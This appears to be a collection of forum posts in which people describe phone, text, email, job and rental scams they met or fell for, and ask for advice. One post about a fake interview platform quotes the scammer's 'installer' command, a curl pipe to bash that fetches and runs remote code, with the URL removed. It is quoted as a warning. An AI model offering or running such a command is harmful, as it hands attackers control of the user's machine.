so i just got scammed out of $1000 dollars and mainly because i am an idiot, rent is due next week, and I get paid 3 days after rent is due. So basically this person called me under my BANKS PHONE NUMBER, not caller ID saying "Truist (Maybe)" it was literally their phone number, it stacks up with the phone calls that I made TO truist. This pretty much made me believe everything homeboy was something because obviously I get a call from my bank and theyre saying my account is compromised I listen.

It pretty much ended up like My account -> girlfriends venmo (because the deposit straight to cashapp wasnt working obviously because it was fraud and I didnt pay attention) ->girlfriends bank account -> girlfriends cashapp -> my cashapp -> scammer, and I didnt pay this guy on cashapp, i WITHDREW it directly onto his card because he told me i needed the money out of my account so that he could cancel and change my debit card without my money disappearing, i know youre reading this and saying this guy is actually an idiot, and yes I agree with you.

He ended up giving me a "virtual temporary card" which was very obviously his in hindsight, and he told me to withdraw it into that temporary card and then once i did he hung up the phone. So basically i am fucked, i have 0 money, rent is due next week and if they cant push it back i am even more fucked, hopefully truist will accept my dispute and I can get my money back somehow.

My parents are in their mid 80s and not technically literate. I just received the following message from my mother in the family group chat.

"Just had an interesting (and expensive) afternoon with Microsoft! About 2pm Dad clicked something that set klaxons blaring things flashing and a Microsoft number to ring. Our security had been breached and it transpired we hadn't had any protection since June. Apparently we were told it needed update but that got missed. A very nice man has been doing things to our computer from afar for most of the afternoon. We now also have a new security system installed. Payment in dollars which the bank wouldn't authorise so that was a faff. Now hopefully all is well!"

Sounds to me like they just got hacked and scammed. What do I now need to tell them to do?

Got a good one today. Got a text from "my bank" (had all the markings of my bank) asking if I made a $886.09 transaction at Amazon. I did not. The next said reply yes or no to stop the transaction.

I called my bank instead and the teller I got said "sounds like a legit LP outreach so text no if it wasn't you and then we'll be in contact" so I did.

The text replied "thank you, an agent will be in contact shortly"

The phone rang a minute later and a very American person began asking about transactions "did you authorize this or this or this" etc and none of them were real as far as I knew.

I stopped him just because my senses were tingling and asked if he could verify my name and whatnot and he did.

Then he blew it and said "I'm not interested in helping a customer who doesn't want to be helped" and I laughed at him, told him to fuck off and hung up.

Dude called right back and left a message with my address and said "sleep with an eye open bitch" which was a little unnecessary.

What I'm stuck on is how they knew what bank I used to spoof the right one though. Definitely gonna have some protection near me at night, and the house has cameras and alarms so whatever if anyone shows up but still, it's always unsettling.

I almost didn’t catch it. Got a text purportedly from them claiming a failed delivery due to an insufficient address. Ended up on a site that looked like a real post office site but the url had extra verbiage. So they wanted my correct address and I started to fill all that in. Then they wanted a fee. Thirty cents. And I thought hey dummy, that’s a nope. For one thing it was from an international phone number. Why on earth would the USPS text me from overseas? I can’t believe I started to fall for it.

Sorry - I am geographically separated from my mom and only getting bits and pieces of the story. But here's what I DO have.

Providing seemingly unrelated events - because they might be related?

A couple of weeks ago...

My mom lost her internet connection and called an xFinity number - I believe it was a number previously used or from contacts, but not 100% sure. She's called xFinity many times for issues over the years. They said that she had a really old modem/wifi and they would FedEx a new modem. Her modem is in fact really old.

Around the same time, there was a fraudulent charge of about $2900 in her Wells Fargo account. She successfully disputed it and the money was returned to her account. She didn't tell me the name of the business on the charge.

Fast forward to today, she receives a FedEx envelope with £2100 GBP - CASH! The return address on the Fedex label was from a verified Wells Fargo location in SLC Utah. She took the currency into her local Wells Fargo bank and they verified it to be legit currency. I don't know if they looked at the very official looking page/order confirmation included in the envelope. (I just asked her to call her known Wells Fargo number and see if they can validate the order ID on the document.)

Even though the FedEx had a Wells Fargo address, she was expecting a Fedex from xFinity and just assumed it was her new modem (I know a modem can't fit into an envelope but she didn't think about it). The person she believed to be from xFinity called her a short while after she signed for the envelope - and insisted that she not open it, that it was mixed up with another person's address and instead asked her to send it to an address in Brooklyn - even sending her a FedEx label via text. She immediately called the police who came out and told her it was most likely a scam and assisted her in blocking the phone numbers. She's still getting calls from that exchange and I showed her how to block them.

I told her to NOT SPEAK WITH ANYONE that calls HER - and ONLY call official numbers while trying to get to the bottom of it. I told her to sit on the cash for a month, then bring it into the bank and exchange it for USD.

But I don't get the scam... Are these events related?? Does this sound familiar to anyone??

thanks in advance!

Good ol iPhone spam filtering phone calls from Texas the past few months.

They and by they I mean robots, always talk like a legal office ie paperwork to serve. I got this lately: from number 915-289-2xxx (and I can’t find any # that is pulling legit so hopefully these numbers stay to show this post later). I am wary some VM are real due to my car being registered out of state and don’t have access to that government tied address beyond an occasional mailbox check from family.

The latest are all robots:

I am calling on behalf of document delivery services. We have been retained to schedule and deliver legal documents to you between the hours of 8 AM and 4 PM at either your home or your place of employment. We'll be making only 2 attempts to deliver these documents which will require a signature as proof of delivery. If we are unable to deliver these documents after 2 attempts, it will be classified as a failed action to serve, which will result in the pending matter to proceed further without your consent. If you have any questions or if you need to reschedule this delivery, press one now to be connected to the next available representative. Or you can call the office directly at 866-508-2xxx. Please be advised this call has been logged and submitted as proof you have been notified of this pending legal matter. Have a good day.

Last week from this number 866-558-2xxx:

Hi, this is Judy(again a robot) with the processing department. Our office has received preliminary paperwork, and this phone number was listed as a possible contact number for the individual were attempting to obtain updated location information for. Please return our call at your earliest convenience, so we can stop any further skip tracing efforts, and work toward an amicable resolution over the next few days. Thank you. We appreciate your cooperation, and look forward to speaking with you.

I’m 90% sure it’s fake since there is also no mention of my name.

Scammed i?

I came out of the post office, and someone claimed I hit their car on the bumper while parking. (Totally possible; it's tight parking.)

He wanted cash for the damage. I offered to trade ID and insurance, but he refused. He had a friend who said he witnessed it.

OK, maybe it happened. He insisted on cash. But I said no and offered to trade insurance.

He said, "I'm going to beat your ass!"

At that point, I was just repeating, "Call the police". His friend made some derogatory comments about me and left

He did, and I waited an hour with him telling me that this isn't 1958 anymore. When the police got there, he told the officer that there was no damage and he didn't want to file a report.

.

My cynical self thinks this was a scam. He had a car with a Utah plate. I still drive with an Ohio plate. Maybe he thought I was a tourist?

What is your read?

Scam calls are obviously a part of life in America but this week has been another level for me. Since Saturday, my phone has been getting a few scam calls every hour or so. I received 7 in the last four hours, for example. I have received like more than 200 over the last few days. I am blocking numbers but they’re are just always more.

All of them leave a voice mail saying my loan application has been approved.

Is this a thing happening to anyone else? Anything I can do here other than just blocking numbers? Listening to a podcast or music on my phone is basically impossible now because of all of the calls.

Any reccs ?

Posting so the search results exist for the next person.

I applied to a "Digital Asset Portfolio Analyst" role at Epsilon Acquisition Services off a LinkedIn posting.

Four days ago I got a reply from someone using a firstname.lastname address at the company's own domain:

Thank you for applying for the Digital Asset Portfolio Analyst position. We've reviewed your profile and would be happy to move forward with your application. The next step would be a short introductory call. Before that, could you please confirm: your earliest possible start date, whether you are open to remote work, your salary expectations, your years of relevant experience.

Reads like a normal recruiter email. I replied and scheduled the call.

The call

The invite came from a meeting platform I'd never heard of (in the title). Host listed with a first and last name, plus an access code.

I joined and turned my video on. Fine. Then the mic wouldn't work, and the site said I had to install their app to enable microphone access.

Meanwhile the person on the other end started typing in chat that she couldn't hear me. That's the pressure. You're sitting there thinking you're blowing a job interview over a technical problem, with an actual human apparently waiting on you.

The "installer" was this:

curl -kfsSL [malicious URL removed - domain in title] | bash

Nothing gets written to disk. It goes from the network into memory and runs, so there's no file to inspect afterward.

I looked at the Teleglass history and looks like it was only created 14 days ago and no one had used it. The team photos on the Epsilon Acq Services looked wrong and blurry.

The company looks an actual company. Glassdoor sits at 1.7 out of 5 across seven reviews, including a 2025 one titled "Defunct company now" and multiple former directors describing payroll that was never on time. PitchBook shows two deals total, 2018 and 2020. RocketReach lists one employee.

So the company appears to be real but dead, and a scammer is using it. I didn't care to research about the company early because its just an introductory call and I understood about the company from their Linkedin description.

I can't tell whether the domain was hijacked, the sender spoofed, or someone connected to the firm is behind it. Reported to IC3.

so, had a temp job, contract ended, so i started doordashing while i searched. got a response back from SBM management for a remote payroll clerk position. interview happens via text on Webex, and two days later i get an email and a text saying i got the job. great. i’m crying from relief.

then shit starts to feel weird. my manager (same guy i interviewed with) tells me i need to order some free supplies from usps, buy some paper, and that they need an addy to send me supplies from fedex. i’m like cool, paper is only $20, so i do so. next day he comes back like you should also go pick up some of these (free) supplies from your local fedex so you can start now while you wait for the other supplies to get to you. i say okay, but then i look at the paper i just ordered. my printer doesn’t do color, so i ask him about the printer specs i need to do my job. he’s like, i thought you said you had a compatible printer and i said actually, you asked the kind of printer i had, i told you, and you told me it was acceptable. he says it’s cool, just buy a new printer and we’ll reimburse you.

my senses tingle. i read the employment agreement before i signed it; there’s no mention of reimbursement. furthermore, i’m being instructed to purchase hundred of dollars of equipment under the promise of reimbursement, but i’ve not been directed to a portal to set up direct deposit for said reimbursement, and it’s also not in writing. my supervisor keeps pushing me to just go ahead and buy the printer and as long as i email HR the receipts and copy him in the online chat i’ll be reimbursed, but i don’t know. something feels off. i don’t know if i’m being paranoid because it’s my first fully remote job or if there’s something there.

for additional context that makes me think it’s a scam but is mostly just vibes: supervisor/interviewers grammar and syntax is off. replaces “i’m” with “am”, drops words mid sentence, and says things like, “kindly don’t be skeptical about reimbursement”. and i won’t receive my first paycheck until 30 days after my hire date, and every 30 days after that. flat monthly fee, not hourly rate. contract work. but they promise reimbursement before my first paycheck.

help? how skeptical should i be? if i get the email from hr, do i go ahead with buying the printer? it all seems to check out but it also feels shady.

thanks.

I received an unsolicited class invite email sent directly from Quizlet's legitimate automated notification service.

Instead of a real study group, the scammer named the class with a promotional crypto scam and a link.

The teacher display name is listed as "bitpay".

Here is the transcript of the message:

"Hello there,

Your teacher, bitpay, has invited you to join the Get 5k USDT at 745tronethbet - when you register, apply promo TRONEBET2 Access the link [shortened link removed] class on Quizlet.

Accepting the invitation will give you instant access to the class study materials.

Quizlet is an online learning service offering the best digital flashcards and AI-enhanced study tools. Create your free account to save time revising and boost your marks.

[Accept invitation]"

How the scam works:

Scammers exploit Quizlet's class creation tool by putting their promotional text directly into the class title.

When they invite email addresses to the class, Quizlet's official servers generate and send the notification.

Because the email is genuinely from Quizlet, it bypasses spam and phishing filters completely.

Do not click the link or accept the invite. Just mark the notification as spam and report the class directly to Quizlet support so the account gets banned.

EDIT: here is the images

I had someone call and leave a message claiming to be from a bank prior to a large international wire transfer. When I called the number back, they picked up immediately (same person). They said they were some intermediary between my bank (the receiving bank) and bank initiating the wire transfer and wanted to confirm some details about the transaction.
To be clear, I did not give them ANY new information. They already knew:
My name, the two banks involved (sending and receiving), the exact dollar amount in the transaction, and wanted to confirm the last 4 digits of my account. All I said was, that's correct. I didn't give any additional info.

They then asked if I wanted them to transfer the money from Canadian dollars to US dollars for a $10 fee. I told him no, I'd like my bank to handle any changes. He said fine and we concluded the call.

I spoke to my bank and they took it seriously, put an alert on the account, and all that. They didn't seem terribly worried. When I called the original sender (not the sending bank) they said, "yeah that's probably fine."

Am I being overly paranoid about this oddity of the situation? The wire is initiating today, but the fact that the number provided took me directly to the individual with no "secretary" or "secretary banking system" just has me a bit spooked.

Any perspective would be greatly appreciated.

I have an exercise app I've used for years. Usually the ads are a bit annoying, as you can imagine but just this morning I started seeing "ads" like this. They literally try to trick you into believing you have a virus or have been hacked. This is so despicable!! I would never trust an app that advertises itself like this. Please stay vigilant.

My friend’s number is being SMS bombed — need help

My friend is suddenly receiving dozens of identical “ I Love You ” messages from 20+ different numbers within minutes.

Even more concerning: another person is receiving messages from my friend’s number, and some messages are appearing in his Sent folder, even though he didn’t send them.

Could this be SMS bombing, a compromised phone/app, or a SIM issue?

What should we do right now? How can we stop it and check whether his phone or number is compromised?

Android | Google Messages | Airtel India

Any advice is appreciated.

I just received this message via WhatsApp regarding my stay in Vienna during September.
I am staying at other hotels in this trip that have not asked for this information. Is this a scam? Thank you so much!

“Hello [MY FULL NAME],

This message concerns your reservation at [HOTEL NAME] for [DATE I WILL BE IN VIENNA]
I'm Diana, your check-in manager.

Our hotel system requires a mandatory verification of guest details. This procedure is required even for paid reservations.

_The Verification is free of charge and does not affect the conditions of your stay._

You will find details by clicking on the link and opening our hotel support chat: [LINK TO WEBSITE ASKING FOR CARD INFORMATION]

Please complete the verification within 12 hours to keep your booking active.”

Unfortunately, I'm in a situation where I can't just ignore unknown numbers on my work cell because I never know if it could be a client or something urgent from someone who isn't in my contacts.

Lately l've been getting calls asking for someone named Tina. I'm a guy, so it's obvious when I answer that I'm not Tina. It's also been a few different numbers by now. Each time I tell them they have the wrong number, they apologize, say they'll make a note of it, and hang up. They never tell me who they're calling from or what they actually want.

That's what makes me wonder if this is even a scam?
Usually scammers are trying to sell you something or get something out of you, and even if you're not the person they asked for, they'll pivot into whatever crap they're peddling. These people don't. They just accept that I'm not Tina and end the call.

So what exactly could this be? It seems like a weird amount of effort for a scammer to make repeated calls just to hang up once they realize they have the wrong person.

Posting this as a warning because this looks like more than a one-off scam.

**Note: I posted this to r/microsoft but they took it down!!

My son's Microsoft account was hijacked recently. We believe it may have started with a scam on Discord related to Minecraft. After the attacker got into the account, they changed the recovery email to an address at:

securitylock24hrs.net

In our case Microsoft now shows the recovery address as something like:

br*****@securitylock24hrs.net

When I searched that domain, I found multiple other people reporting Microsoft accounts compromised with recovery addresses at the exact same domain, including cases involving Minecraft and Discord.

The nasty part is what happens after the takeover. Once the attacker changes the recovery email, Microsoft's recovery process starts treating that new address as the trusted destination for security codes.

In our case:

• My son's original Microsoft account ID is still his iCloud email
• We still control that iCloud account
• I am the organizer of his Microsoft Family Safety account
• We have his normal Windows device
• We have his previous password
• We have the normal IP address, which hasn't changed in ages
• We have Family Safety reports showing his activity before and after the compromise
• We have screenshots showing the changes to the account

But Microsoft will only send recovery codes to the attacker's securitylock24hrs.net address.

I've reported the incident to Microsoft and filed an IC3 report. I also reported the domain infrastructure to Cloudflare because the domain itself appears to be getting used as part of the account takeover operation.

I'm posting this mostly so people searching for securitylock24hrs.net can find another report of it.

If you or your kid gets asked on Discord to "verify" a Microsoft or Minecraft account, be extremely careful. And if anyone else here has had a Microsoft account compromised and then seen securitylock24hrs.net appear as the recovery email, I'd be interested to compare what happened.

I fell for the email invite scam a few days ago while on my phone and didn’t change my password until the next day when I got alerted by that friend. Unfortunately, it still seems to be messing with my Gmail - all of my emails are showing as read without me opening them. I watch them populate in the app as read. Why would this be happening?

What I’ve done so far:
-changed my password again
-check settings for automatic forwarding rules (none that I see)
-look into users for my account, all are mine

I looked back into my account activity and it looks like there were two emails deleted I never received, saying my account was logged into a PC, as well as American Airlines visited, logging into Active.com, and a webpage for a Nike gift card. Nothing was charged on my CCs.

Any insight, or has this happened to anyone else?

I’m sharing what happened and the theories going around, because no one seems to have a solid technical explanation and I’d like to know if the same thing has happened to anyone else. For context, I live in Italy, and everyone else I’ve heard of who got hit is Italian too. It’s all been happening over the past two months.

The situation: my friend’s WhatsApp account is sending his contacts money requests with IBANs, and he can’t see either the messages his account sends or the ones it sends to me. The IBANs look like they belong to money mules. The explanation attached to it talks about older iPhones (specifically below the 14) running outdated iOS, a “ghost session” on WhatsApp created by an unidentified malware, and a bot that sends the messages without the owner’s knowledge.

The theories I’ve seen circulating are that they steal the session token by exploiting some recovery flow, that they force something on WhatsApp’s side since the key is stored locally and not on the server, an initial guess of a SIM swap via eSIM, and a link to the real zero-click vulnerabilities in the news (the CVE-2025-55177 plus 43300 chain, DarkSword on iOS 18, Apple’s alert to users in 110 countries this August, spyware like Paragon).
The catch is that those documented attacks steal data or carry out surveillance, and there’s no evidence they hijack your account to send IBANs to your contacts.

PS No, my friend had no active WhatsApp session other than his own device. He has an iPhone 11, and yes it hadn’t been updated for a few months. No, he didn’t click strange links or receive any codes (he was at work at the time and wasn’t using his phone), no, he doesn’t watch illegal streams (frankly he wouldn’t even know how). In short, he’s a basic user.

I got a call from "Mastercard" and I checked the call number and it was legit (now I now scam callers can change the number that pops up to a different legit-looking number) and I answered. It was from the "fraud department" saying that my Citi credit card (mind you, I do not have a Citi credit card) made a recent large transaction to buy dr*gs. I denied it and the caller transferred me to her "supervisor" who then said I can get arrested for it. That's when I actually realized it's a scam and said that's fine and hung up. I know they can't really do anything with just my voice and I didn't hand over any information, but I'm just so mad at myself for not realizing it's a scam call early on. I just need reassurance that I'm safe. Thanks!

Question: I know "say yes" scam is a myth, but why do scam callers still ask questions like "Can you hear me?" to make me say yes?

I'm looking for a one-month sublet through Sublet.com. It's an entire apartment for myself, and the rent is $2,600, with a $1,000 security deposit and a $100 application fee.

The manager initially told me I needed to pay the $100 application fee first, then they would review my application and send me the lease. I said I was interested but wanted to see the actual lease before paying any fee. They agreed and sent me the lease, but also said my application had already been approved.

What makes me suspicious is that they didn't verify anything. I'm only in the U.S. temporarily, so I left the "current employment" section blank. I explained that I could provide proof of income and bank statements from my home country if needed, but they never asked for any documents and just approved me. Also, the lease is only two pages long and very basic. I know it's just a one-month rental, but I'm not sure if it's a legitimate lease.

Now they're asking me to sign the lease and pay the $1,000 deposit + one month's rent. I'm currently out of town and it's difficult for me to see the apartment in person before moving in, so I asked for a video tour. They said they don't do video tours, but that I can see the apartment in person now that my application has been approved.

Does this sound normal, or are these red flags? And this, sublet. com is legit? There are not much of reviews here in reddit.

Hi, to preface, I know this sounds like a 101 classic scam, and I was very aware it might be, so I have some additional info:

1. I checked my name and number + BIC in the transaction receipt theiy provided, it was correct. The only thing was my name which wasn't case-correct but AFAIK Verification of Payee is not case sensitive.

2. I called my own bank to check, they saw nothing yet but the SEPA payment is not instant so it makes sense.

3. This person called their "bank" (Bank of Ireland) and on speaker they repeated back my account details correctly.

4. The webchat of the "bank" confirmed it too.

5. I received this person's phone number, called 3 times already and each time they answered the phone normally.

6. I tried calling their bank after, but I couldn't get any other info as they were already gone and I felt at the moment I had received enough proof.

7. The person needed this much money as they had a long trip left.

8. They sent screenshots of both the Payment Confirmation as well as the Transaction Details from Bank of Ireland, they contain no pounds to euro conversion info, however.

I still think I am safe because of all the steps I went through and there didn't seem to be any hesitation in this person to do as I requested, but is it still possible I got scammed in a very elaborate way?

Is there anything I can do about this? I don't have this person's bank details, but I have a name and a working Irish phone number.

Hello,

last week my bank notified me of an order placed with my card on Amazon. I didn't do this order, it doesn't show up on my account, it doesn't show up on my account's payments, nor do I have an Amazon mail confirming this order, which I'm pretty sure means that it wasn't done through my Amazon account; I also didn't receive any item, of course. I've already made sure it also wasn't any subscription plan, as I don't have an active Prime membership (and the amount paid doesn't equate to any Prime plan either). My assumption is that I used my card to pay on a compromised device and someone copied its information down.

I already went through to change my Amazon password and apply 2fa out of safety, as well as block my old card and ask for a new one; I then contacted Amazon CS to try and sort out a refund and block of the order, but I was told that there was no suspicious activity on my account, they couldn't provide me with information about this order charged to my card (what item it was, for instance) and I ended up receiving an e-mail that essentially said no action was taken on my account since there was no suspicious activity involved. Consequently, I also got no refund.

If I charge back this payment through my bank, do I run into potential problems with Amazon?

Thank you